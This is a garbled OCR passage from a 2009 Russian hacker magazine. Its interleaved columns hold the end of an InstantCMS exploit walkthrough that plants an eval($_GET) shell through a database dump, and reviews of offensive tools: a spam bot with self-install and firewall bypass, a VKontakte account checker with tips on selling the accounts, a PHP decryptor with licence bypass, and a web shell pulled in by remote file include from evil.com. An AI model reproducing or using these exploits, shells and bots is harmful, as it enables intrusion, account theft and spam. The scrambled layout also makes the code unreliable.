место, где символы «<>» не обрезаются. Для этого регистрируемся на |
||||
|
|
$dumper->doDump(); |
|
|
сайте и идем в свой профиль, а именно — в раздел «Мой Блог», созда- |
||||
|
|
if(!$inDB->errno()) |
|
|
ем там персональный блог, переходим в него и постим новую запись: |
||||
|
|
{ |
|
|
|
|
|
|
|
|
|
$fileurl = '/backups/'.$shortfile; |
|
<?php |
|
||||
|
|
echo '<span style="color:green">Экспорт |
|
eval($_GET[ev]); |
|
||||
|
базы данных завершен.</span> <a href="/ |
|
|
die; |
|
||||
|
backups/'.$shortfile.'" target="_blank">Скачать |
|
?> |
|
|
||||
|
ôàéë</a> | <a href="#" onclick="deleteDump |
|
|
|
|
|
|||
|
|
|
В итоге, в БД запишется наш php-код и останется только создать |
||||||
|
(\''.$shortfile.'\')">Удалить файл</a><div |
|
|
||||||
|
class="hinttext">Чтобы скачать файл, щелкните правой |
|
дамп с расширеним .php: |
||||||
|
кнопкой мыши по ссылке и выберите "Сохранить объект |
|
|
|
|
||||
|
êàê..."</div>'; |
|
|
|
http://www.example.com/core/ajax/dumper.php? |
|
|||
|
|
} else { |
|
|
|
opt=export&file=shell.php |
|
||
|
|
echo '<span style="color:red">Ошибка экс- |
|
|
|
|
|||
|
|
|
Теперь наш шелл создан и находится по адресу: |
||||||
|
порта |
áàçû</span>'; |
|
|
|||||
|
|
} |
|
|
|
|
|
|
|
|
} |
else { |
|
|
|
|
http://www.example.com/backup/shell.php?ev=phpinfo(); |
|
|
|
|
echo '<span style="color:red">Папка "/backups" |
|
|
|
|
|||
|
|
|
OUTRO |
||||||
|
не доступна для записи!</span>'; |
|
|
||||||
|
} |
|
|
|
|
|
Написать свою CMS довольно сложно, но еще сложнее уследить за |
||
|
} |
|
|
|
|
|
безопасностью. А так как личные блоги и соцсети плодятся, как грибы |
||
|
|
|
|
|
|
|
после дождя, найти потенциально уязвимый сайт становится проще. |
||
|
|
|
|
|
|
||||
При обращении к файлу с параметром opt, равным export, и file, |
|
Учись на чужих ошибках, и помни, что все, что ты только что прочитал, |
|||||||
равным dump.sql, в папке /backup/ создастся файл dump.sql. |
|
написано исключительно с целью ознакомления, и ни автор, ни редак- |
|||||||
Пример: |
|
|
|
|
|
ция не несут ответственности за твои действия.z |
|||
|
|
|
|
|
|
|
|||
|
http://localhost/core/ajax/dumper. |
|
|
|
|
|
|||
|
php?opt=export&file=dump.sql |
|
|
|
|
|
|||
|
|
|
|
|
|
||||
Пробежав глазами по коду, я нашел удаление произвольных фай- |
|
|
|
|
|||||
лов: |
|
|
|
|
|
|
|
|
|
|
if ($opt=='delete'){ |
|
|
|
|
|
|||
|
if(@unlink($file)){ |
|
|
|
|
|
|||
|
|
echo |
'<span |
style="color:green">Ôàéë |
удален.</ |
|
|
|
|
|
span>'; |
|
|
|
|
|
|
|
|
} |
else { |
|
|
|
|
|
|
|
|
|
|
echo |
'<span |
style="color:red">Ошибка |
удаления |
|
|
|
|
|
файла.</span>'; |
|
|
|
|
|
|
||
} |
|
|
|
|
|
|
|
|
}
ПРИМЕРСОЦСЕТИНАОСНОВЕINSTANTCMS
XÀÊÅÐ 11 /131/ 09 |
065 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
ВЗЛОМ |
|
|
|
|
|
BUY |
|
|
||||||||
w Click |
to |
|
|
|
|
|
|
w Click |
to |
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
m |
МАГ ICQ 884888, HTTP://WAP-CHAT.RU |
|
|
|
|
|
|
m |
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
|
X-TOOLS |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ПРОГРАММЫДЛЯХАКЕРОВ
ПРОГРАММА: MULTIPHP |
chr($i); |
|
|
|
||
|
|
|
||||
DECRYPTOR |
for($i = 65; $i < 91; $i++) $fuck[] = |
|
|
|
||
ОС: *NIX/WIN |
chr($i); |
|
|
|
||
АВТОР: EUGEN |
$key = implode("",$fuck); |
|
|
|
||
Оченьчастомысталкиваемсясзашифрованным |
|
|
|
|
||
|
сорцамикакого-либоphp-скрипта. Причем |
Читаемвторойключиззакриптованногокода. |
|
|
||
|
исходникинампростожизненнонеобходимо |
Этобудутпервые52 символа, остальныежесим- |
|
|
||
|
увидетьвпервозданномвиде(например, узнать |
волыпослених— иестьзашифрованныйкод. |
|
|
||
|
доступыкбазеданных). Кактутпоступить? |
Расшифроватьегоможнотак: |
|
|
||
|
Еслишифрованиевыполнялосьспомощью |
|
|
|
|
|
|
Zend, тотутвсепонятно: идемвгугл, набираем |
$decoded = base64_decode(strtr($enco |
|
|
|
|
|
что-товроде«dezender download» инаслаж- |
ded,$key,$to)); |
|
|
|
|
|
|
|
|
|
|
|
|
даемсярасшифрованнымкодом. Аесликрипт |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
||
|
выполнялсяприпомощиобфускацииизапуты- |
Каквидно, сначалараскодируетсяbase64, а |
Главноеокнопрограммы |
|
||
|
ваниякода? Можно, конечно, вручную, строказа |
потомсимволы1-гоключазаменяютсясимво- |
|
|
||
|
строкойсидетьиприводитьсиенепотребство |
ламивторого. |
• логработы; |
|||
|
вудобоваримыйвид, потерявприэтомцелый |
Длязапускапроцессадешифровкиположи |
• возможностьсоздаватьподробныйHTML- |
|||
|
рабочийдень, номыпоступиминаче. |
скрипти, собственно, расшифровываемый |
отчет, кудазаписываютсялогин, пароль, ID, |
|||
|
Специальнодлятебямывыкладываем«Мульти |
файлводнудиректорию. Далеевскриптенайди |
количестводрузейиголосов, рейтингаккаунта; |
|||
|
php дешифровщик» отEugen. |
строки: |
• возможностьзаписыватьтудажесписокгрупп, |
|||
|
Итак, скриптумеетрасшифровыватьследующие |
|
|
вкоторыхпользовательимеетправаадминист- |
||
|
алгоритмы: |
<? |
|
ратораилимодератора; |
||
|
|
|
// Закриптованный файл |
|
• сборID-приложений, которымивладеет |
|
|
• GZIP+BASE64 |
|
$file = "1.php"; |
|
человек; |
|
|
• DEFLATE+BASE64 — Encoderov.net |
|
... |
|
• возможностьсохраненияплохихаккаунтовв |
|
|
(r57, c99 è ò.ï.) |
|
?> |
|
отдельныйфайл; |
|
|
• BASE64 |
|
|
|
• возможностьсборааккаунтовпокритериям |
|
|
|
|||||
|
• Eugen — «10 ключей» + поддержка ста- |
|
Иизменизначениепеременной$file насвое. |
рейтинга/количествадрузей/числаголосов, |
||
|
рого алгоритма с 1-м ключом |
|
Расшифрованныйкодзапишетсяпрямовтвой |
отборнужныхаккаунтоввотдельныйсписок; |
||
|
• KALLISTO (без расшифровки обфуска- |
|
файл. |
• чекаккаунтовиразбивкаихнагруппыпо |
||
|
ции в последних версиях) |
|
Еслиутебяестьидеипорасшифровкеалгорит- |
количествудрузей; |
||
|
• CNS — CNCrypto (cnstats è ò.ï.) |
|
мов, смеломожешьадресоватьихавторутулзыв |
• подробнаястатистикадлясобранныхпокрите- |
||
|
• Php LockIT (с обходом лицензии и |
|
топикеforum.eugen.su/showthread.php?t=47. |
риямаккаунтов; |
||
|
срока действия скрипта) |
|
|
|
• сохранениеизагрузкатекущихнастроек |
|
|
• SourceCop |
|
ПРОГРАММА: VKCHECKERLITE0.2 |
программы; |
||
|
|
|
ОС: WINDIWS95/98/ME/2000/2003/ |
Возможностистольмаленькойутилиты, напи- |
||
|
|
|
||||
Болеетого, успешнорасшифровываютсядаже |
XP/VISTA |
саннойнаассемблере, впечатляют:). |
||||
|
вложенныекриптовки. Еслизакриптована |
АВТОР: DX |
Пользоватьсячекеромнепросто, аочень |
|||
|
частьскрипта, будетрасшифрованатолькоона. |
Сколькоуженаписаноразнообразныхчекеров |
просто: вбивайвлевоеокошкосписокаккаунтов |
|||
|
Дляпримерарассмотримспособдешифровки |
«ВКонтакта» — неперечесть! Вотинаэтотраз |
социальнойсети(поумолчаниюлогинипароль |
|||
|
алгоритмаCNCrypto. |
представляемтебеочереднуюпрограммудля |
разделеныдвоеточием) идавинакнопку |
|||
|
1. Особенности самого алгоритма: |
работысаккаунтамиобщеизвестнойсоциаль- |
«Старт». Вокошке«Good» будутпоявляться |
|||
• Обфускация; |
нойсети— VKChecker Lite заавторствомdx. |
отчеканныевалидныеучеткипользователей. |
||||
• Криптованиекодадешифровки; |
Функционалпрограммы: |
Такжесоветуюразобратьсяснастройкамии |
||||
• Хранениекодавкомментариивэтомжефайле; |
- написананаассемблере(отсюдаразмерexe — |
фичамипроги: окошки«Опции», «Настройки |
||||
• Прираскриптовкескриптчитаетсамсебя. |
36.5 кбвнезапакованномвиде); |
критериев» ивкладка«Дополнительно» — здесь |
||||
|
2. Закриптованный код выглядит так: |
• простойчекаккаунтовнавалид-невалид; |
естьгдеразгулятьсяпытливомухакеру:). |
|||
|
|
|
• чекаккаунтовсопределениемID; |
Инапоследок— небольшоепособие-примерот |
||
|
/*CNS<какие-то 6 цифр>код*/ |
|
• поддержкасервисаантикапча; |
авторадлятех, ктопродаетаккаунты«ВКонтак- |
||
|
|
|
• поддержкапрокси, сокс5 (опциональнои |
та», ориентируясьначислодрузей: |
||
|
|
|
||||
Вэтомкоде/*CNS, 6 цифри*/ следуетотбросить; |
можноихнезадавать); |
1. Включаем проверку по критериям; |
||||
|
намнужентолькоbase64 кодмеждуними. Даль- |
• многопоточность; |
2. Ставим критерий «число друзей» больше, |
|||
|
шеследуетстрока— ключдлярасшифровки. |
• заданиезадержекдляпотоков; |
например, 10; |
|||
|
Генерируетсяонтак: |
• определениебалансаантикапчи; |
3. Ставим опцию установки чекера на паузу |
|||
|
|
|
•отсылкажалобонеправильнораспознанныхакках; |
после сбора, например, 20000 друзей. |
||
|
$fuck = array(); |
|
• возможностьзадатьразделителидляаккаун- |
Теперьчекербудетприостановлен, итысмо- |
||
|
for($i = 97; $i < 123; $i++) $fuck[] = |
|
тов, прокси, результата; |
жешьзабратьначеканныеаккаунтыссуммой |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
066 |
|
|
|
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
m |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
||||||
|
|
p |
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
друзей20000, потомобнуляйстатистику, очи- |
|
|
|
|
-x cha |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
щайсписоксобранныхаккаунтовипродолжай |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
собиратьследующуюпачкуаккаунтовссуммой |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
друзей20000. |
|
|
|
|
|
|
|
|
|
|
|
|
ПРОГРАММА: СПАМБОТ |
|
|
|
|
|
|
|
ОС: WINDIWS95/98/ME/2000/2003/ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
XP/VISTAДЛЯБОТАИБИЛДЕРА, |
|
Админкаспамбота |
000000 |
|
|||
*NIX/WINДЛЯАДМИНКИ |
|
|
|
|
|
|
|
АВТОР: SLESH |
|
|
то считается, что бот ушел в офлайн |
|
толькопокейворду, которыйжесткопрописан |
||
Представляемтвоемувниманиюочередную |
|
|
$max_thread=5; // число потоков для |
|
вегокоде, тоестьтак: http://site.com/index. |
||
программу, написаннуюнаассемблере— Спам |
|
|
спама |
|
php?path=http://evil.com/shell.txt&keyword |
||
бототslesh'а. Надискетынайдешьархивсад- |
|
|
$block='on'; // блокировка мертвых |
|
(дальшекейвордспрячетсявпост-запрос |
||
минкойбота, исходникиботаFASM иисходники |
|
|
ботов |
|
иегобудетневидно; кейвордможносразу |
||
билдеранаDelphi. Описывать, каквнедритьбота |
|
|
?> |
|
послатьвпост). |
||
вчужуюсистему— уженемоязадача, поэтому |
|
|
|
|
2. Ты внутри сайта. Левые файлы заливать |
||
|
|
|
|||||
представляютебеописаниефункционалаи |
|
Затем— настроить, собственно, ботаиего |
|
нельзя или палевно. Что делать? |
|||
принципыдействиябота. |
|
билдер: |
|
Простоскопируйвеськодшеллавкакой-либо |
|||
Скомпилированныйботдействуетследующим |
|
|
|
|
существующийфайлнаудаленнойсистемеина- |
||
образом: |
|
|
ôàéë: bot.asm: |
|
слаждайсяскрытымбэкдоромнасайтежертвы |
||
1. Бот расшифровывается; |
|
|
WAIT_TIME equ 40 — время в секундах |
|
поадресувроде: http://site.com/?keyword. |
||
2. Бот получает адреса API-функций, которые |
|
|
между отстуками |
|
Изособенностейшелла: |
||
он юзает; |
|
|
server_port equ 5000h — порт админки |
|
• независимостьотпутей/адресовсайта(тоесть |
||
3. Бот проверяет наличие того, что он уже запу- |
|
|
ôàéë: const.inc: |
|
инклудвродеhttp://site.com/?keyword&foo1= |
||
щен, и если так, то самовыключается; |
|
|
server_script db '/msb/task. |
|
bar1&foo2=bar2 пройдетбезпотерипарамет- |
||
4. Устанавливает себя в систему в папку шаб- |
|
|
php?',0,0,0,0,0,0,0,0 — ïóòü ê àä- |
|
ровfoo1 иfoo2); |
||
лонов и прописывается в автозагрузке; |
|
|
минке |
|
• шеллоткрываетсятолькопослепередачиему |
||
5. Выделяет память для своих нужд; |
|
|
server_host db 'localhost',0,0,0,0,0 |
|
заранееопределенноготобойкейворда; |
||
6. Прописывает себя в реестре для обхода |
|
|
,0,0,0,0,0,0,0,0 — host админки |
|
• basic-авторизация(наcgi/fastcgi автоматичес- |
||
встроенного в XP файрвола; |
|
|
my_sys_name db '\proga. |
|
киотключается); |
||
7. Стучится в админку; |
|
|
exe',0,0,0,0,0,0,0,0,0,0 ; (ñëåø |
|
• вседанныепередаютсяв$_POST; |
||
8. Если получена команда ждать, ждет указан- |
|
|
обязателен!) — имя, с которым прога |
|
• файловыйменеджерсотображениемподроб- |
||
ное время; |
|
|
будет сидеть в системе |
|
нойинформацииофайлах; |
||
9. Если получено задание, то парсит его и |
|
|
MemFileName db 'test123',0 — предо- |
|
• отображениеосновнойинформацииосистеме; |
||
запускает указанное количество потоков |
|
|
твращение повторного запуска |
|
• php eval/command execution; |
||
отправки письма; |
|
|
|
|
• загрузкамножествафайловзаразнаjs; |
||
|
|
|
|||||
10. Перед каждой отправкой письма обрабаты- |
|
Послеэтойнехитройнастройкитебенужно |
|
• просмотр/редактирование/удалениефайлови |
|||
вает макросы в нем; |
|
будет: |
|
директорий(удалениерекурсивно); |
|||
11. Отсылает письма, пока они есть в задании; |
|
1. Залить админку на свой сервер и на все |
|
• можноспокойноскачиватьфайлыоченьболь- |
|||
12. Во время выполнения задания периодичес- |
|
скрипты и папки поставить права 666; |
|
шихразмеров(например, логиапача); |
|||
ки стучит в админку с результатами отправки. |
|
2. Войти в админку (index.php) и выбрать пункт |
|
• zip/unzip файловидиректорий; |
|||
Теперьовозможностяхбота: |
|
меню — INSTALL; |
|
• разбивкалистингафайловидиректорийна |
|||
• обходвстроенноговXP файрвола; |
|
3. Настроить бота на получение заданий. |
|
страницы; |
|||
• криптовка(еслиюзатьбилдер); |
|
Наэтомнастройкаботабудетзакончена, можно |
|
• еслишеллинклудитсявсуществующийскрипт, |
|||
• многопоточнаяотправка; |
|
приступатьксоставлениюспам-тасков). |
|
тебеможетпригодитьсявстроеннаязащита |
|||
• поддержкамакросовнауровнеадминкии |
|
Подробнееомакросахипрочемфункционале |
|
отвзлома: отсекаютсязапросыпоключевым |
|||
бота; |
|
админкиботачитайнаАнтичате: http://forum. |
|
словамвродеeval, base64, union ит.д. |
|||
• логошибокотправки; |
|
antichat.ru/thread104291.html. |
|
Всеэтовеликолепиевеситвсего38,1 Кб. |
|||
• самоустановкавсистему; |
|
|
|
|
Теперьрассмотримнастройкушелла. Открывай |
||
• возможностьбанаплохихботов; |
|
ПРОГРАММА: MAGICINCLUDESHELL скриптинаходивегоначалеследующие |
|||||
• шифрованиетрафамеждуботомиадминкой. |
3.3.3 |
|
строки: |
||||
Дляустановкиботасначаланеобходимоскон- |
|
ОС: *NIX/WIN |
|
|
|
|
|
фигурироватьадминку(файлconfig.php): |
|
АВТОР: МАГ |
|
|
<?php |
|
|
|
|
Немогунепорадоватьчитателейzисвоим |
|
|
... |
|
|
<?php |
|
релизомвеб-шелла:). Итак, Magic Include Shell, |
|
|
$my_keyw = 'keyword'; //твой кейворд |
|
|
$db_host='localhost'; // õîñò ñ áä |
|
каквидноизназвания, предназначендля |
|
|
для доступа в шелл |
|
|
$db_port=3306; // ïîðò áä |
|
работывинклудах. Рассмотримситуации, когда |
|
|
$items_per_page = 50; //количество |
|
|
$db_user='root'; // þçåð áä |
|
понадобитсятакойшелл: |
|
|
файлов/директорий на одной странице |
|
|
$db_pass='pass'; // ïàññ îò áä |
|
1. Имеем RFI, что-то вроде http://site.com/index. |
|
|
шелла |
|
|
$db_name='sbot'; // èìÿ áàçû â áä |
|
php?path=http://evil.com/shell.txt. |
|
|
$admin_name='admin'; //имя админа в |
|
|
(нужно создать самому) |
|
Чтоделать, еслинеработаетsafe mode, либо |
|
|
basic-авторизации |
|
|
$admin_name=''; // имя пользователя |
|
использованиеконсольныхкомандпокакой- |
|
|
$admin_pass='password'; //пароль |
|
|
для доступа к админке |
|
топричиненедаетнужногоэффекта? Очень |
|
|
админа в basic-авторизации |
|
|
$admin_pass=''; // пароль для досту- |
|
просто! Инклудьмойшеллинаслаждайся |
|
|
... |
|
|
па к админке |
|
полноценнымфайловымменеджеромнауда- |
|
|
?> |
|
|
$TIME_LIM='00:01:00'; // |
|
леннойсистеме, которыйнебудетзависетьот |
|
|
|
|
|
|
|
|
|
||||
(часы:минуты:секунды) если время |
|
внутреннихпутейиадресасайта. Тутстоитот- |
|
Всепредложенияипожеланияпоскрипту |
|||
последнего отстука больше данного, |
|
метитьособенностьскрипта: шеллоткроется |
|
направляймневасю:). z |
|||
|
|
|
|
067 |
|||
XÀÊÅÐ 11 /131/ 09 |
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||||
|
F |
|
|
|
|
|
|
t |
|
|
|||
|
D |
|
|
|
|
|
|
|
i |
|
|
||
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
|||||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
m |
|
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
. |
|
|
|
|
|
.c |
|
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
СЦЕНА
МАРИЯ «MIFRILL» НЕФЕДОВА MIFRILL@REAL.XAKEP.RU
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Вершина
пищевой
öåïè
Oracle,Sunèâñå,âñå,âñå
ПРАКТИЧЕСКИВСЕКОМПАНИИ-ГИГАНТЫ РЫНКАITДЕЛАЮТЭТО—ОНИПОКУПАЮТ ИНТЕРЕСНЫЕПРОЕКТЫ,«ПОРАБОЩАЮТ» ЭКС-КОНКУРЕНТОВ,ПРЕВРАЩАЯИХВСВОИ ПОДРАЗДЕЛЕНИЯ,ПОДПИСЫВАЮТДОГОВОРЫ ОСЛИЯНИЯХИТАКДАЛЕЕ.ОДНАКОСИТУАЦИИ, ВХОДЕКОТОРЫХОДИНДИНОЗАВРРЫНКА ПОГЛОЩАЕТДРУГОГО,ВОЗНИКАЮТНЕТАК ЧАСТО.РЕЧЬ,КОНЕЧНО,ИДЕТОСДЕЛКЕ,В РЕЗУЛЬТАТЕКОТОРОЙКОМПАНИЯSUNMICRO- SYSTEMSВОТ-ВОТОТОЙДЕТВРУКИКОМПАНИИ ORACLE.ТАКОЙПРЕЦЕДЕНТОПРЕДЕЛЕННО ДОСТОИНВНИМАНИЯ.
068 |
XÀÊÅÐ 11 /131/ 09 |